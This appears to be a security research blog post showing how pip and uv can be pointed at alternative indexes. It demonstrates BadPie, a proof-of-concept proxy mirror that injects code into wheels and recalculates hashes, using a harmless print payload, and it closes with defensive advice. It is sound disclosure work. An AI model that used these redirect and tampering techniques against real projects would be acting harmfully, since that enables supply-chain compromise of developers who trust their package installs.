BadPie: Bake it ‘Til You Fake It

In this post, I share some research into Python package management utilities — with a focus on pip, the most widely used. Specifically, I wanted to explore the different ways you can tell pip to use an alternative package index or mirror.

It turns out there are many different ways:

CLI switches

pip install --index-url https://example.org/simple requests
pip install -i https://example.org/simple requests

Persistent configs

(test-env) python3 -m pip config debug
env_var:
env:
global:
  /Library/Application Support/pip/pip.conf, exists: False
site:
  /Users/dtm/project/badpie/test-venv-project/test-env/pip.conf, exists: False
user:
  /Users/dtm/.pip/pip.conf, exists: False
  /Users/dtm/.config/pip/pip.conf, exists: False

You can set these using pip itself i.e.

pip config set global.index-url https://example.org/simple

Environment variables

export PIP_INDEX_URL=https://example.org/simple
export PIP_EXTRA_INDEX_URL=https://example.org/simple

requirements.txt (direct) - with --index-url inside the file

--index-url https://example.org/simple
requests

requirements.txt (indirect) - using -r other.txt, where the referenced file hides the index

-r other.txt
requests

where other.txt

--index-url https://example.org/simple

But how does pip work?

Well you can run pip with a -vvv flag to check out what's happening under the hood:

pip3 install --index-url https://pypi.org/simple -vvv requests

Simplified, pip does three things:

  1. Hits the index.
  2. Grabs the package metadata.
  3. Pulls a wheel package (.whl) -  a ZIP of the code.

The default PyPI index also provides SHA256 hashes for packages and their metadata, helping verify integrity:

curl -s https://pypi.org/simple/requests/|grep 2.32.5|grep .whl

<a href="https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl#sha256=2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6" data-requires-python="&gt;=3.9" data-dist-info-metadata="sha256=65b5a08da81f4915513e760965ff14b7518f65b7bb3efe0dab364bbcc4d40cb0" data-core-metadata="sha256=65b5a08da81f4915513e760965ff14b7518f65b7bb3efe0dab364bbcc4d40cb0">requests-2.32.5-py3-none-any.whl</a><br />

BadPie

Enter BadPie — my proof-of-concept transparent proxy PyPI mirror that demonstrates how code can be modified inline and pass hash checks

  1. BadPie proxies your request to real PyPI, grabs the requested package.
  2. It injects code—for example, by appending a print("hello world") to __init__.py.
  3. It recalculates (or strips) the SHA-256 hash
  4. It caches the modified wheel
  5. You get the package, pip sees a valid hash and installs it.

Check the config in the BadPie script itself:

You probably just need to define MODIFICATION_CODE - what code you want to inject and PACKAGES_TO_MODIFY - the list of packages to modify  all others are served without modification.

PYPI_URL = "https://pypi.org/simple"
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
CACHE_DIR = os.path.join(BASE_DIR, 'cache')
MODIFIED_DIR = os.path.join(BASE_DIR, 'modified')

os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(MODIFIED_DIR, exist_ok=True)

MODIFICATION_CODE = '''
print("hello world")
'''

# Packages to modify
PACKAGES_TO_MODIFY = ["requests"]

Start BadPie:

python3 app_hash_modify.py
 * Running on http://127.0.0.1:5000
 * Debug mode: off

Point pip to your BadPie proxy (we’ll pretend it’s running at https://example.org/simple), then install a package through that index:

(test-env) pip install -i https://example.org/simple requests
Looking in indexes: https://example.org/simple
Collecting requests
  Downloading https://example.org/simple/requests/requests-2.32.5-py3-none-any.whl.metadata (4.9 kB)
Collecting charset_normalizer<4,>=2 (from requests)
  Downloading https://example.org/simple/charset-normalizer/charset_normalizer-3.4.3-cp312-cp312-macosx_10_13_universal2.whl.metadata (36 kB)
Collecting idna<4,>=2.5 (from requests)
  Downloading https://example.org/simple/idna/idna-3.10-py3-none-any.whl.metadata (10 kB)
Collecting urllib3<3,>=1.21.1 (from requests)
  Downloading https://example.org/simple/urllib3/urllib3-2.5.0-py3-none-any.whl.metadata (6.5 kB)
Collecting certifi>=2017.4.17 (from requests)
  Downloading https://example.org/simple/certifi/certifi-2025.8.3-py3-none-any.whl.metadata (2.4 kB)
Downloading https://example.org/simple/requests/requests-2.32.5-py3-none-any.whl (207 kB)
Downloading https://example.org/simple/certifi/certifi-2025.8.3-py3-none-any.whl (161 kB)
Downloading https://example.org/simple/charset-normalizer/charset_normalizer-3.4.3-cp312-cp312-macosx_10_13_universal2.whl (205 kB)
Downloading https://example.org/simple/idna/idna-3.10-py3-none-any.whl (70 kB)
Downloading https://example.org/simple/urllib3/urllib3-2.5.0-py3-none-any.whl (129 kB)
Installing collected packages: urllib3, idna, charset_normalizer, certifi, requests
Successfully installed certifi-2025.8.3 charset_normalizer-3.4.3 idna-3.10 requests-2.32.5 urllib3-2.5.0

(test-env) python3
Python 3.12.6 (v3.12.6:a4a2d2b0d85, Sep  6 2024, 16:08:03) [Clang 13.0.0 (clang-1300.0.29.30)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests
hello world

How to defend

To reduce the risk:

  • Treat requirements.txt files as code — they need the same review discipline as source.
  • Monitor your network and pip (and uv) processes for unusual metadata requests to non-PyPI domains i.e. NOT pypi.org and files.pythonhosted.org.
  • Watch for unexpected pip config or environment variable changes.

The same applies to the uv package manager, with a few extra places to check in addition to those desribed for pip:

  • UV_INDEX_URL
  • UV_DEFAULT_INDEX
  • pyproject.toml
  • uv.toml
(test-env) uv pip install -i https://example.org/simple requests
Using Python 3.12.6 environment at: test-env
Resolved 5 packages in 10.19s
Installed 5 packages in 9ms
 + certifi==2025.8.3
 + charset-normalizer==3.4.3
 + idna==3.10
 + requests==2.32.5
 + urllib3==2.5.0
(test-env) python3
Python 3.12.6 (v3.12.6:a4a2d2b0d85, Sep  6 2024, 16:08:03) [Clang 13.0.0 (clang-1300.0.29.30)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests
BadPie was here!

👉 You can explore BadPie yourself on GitHub.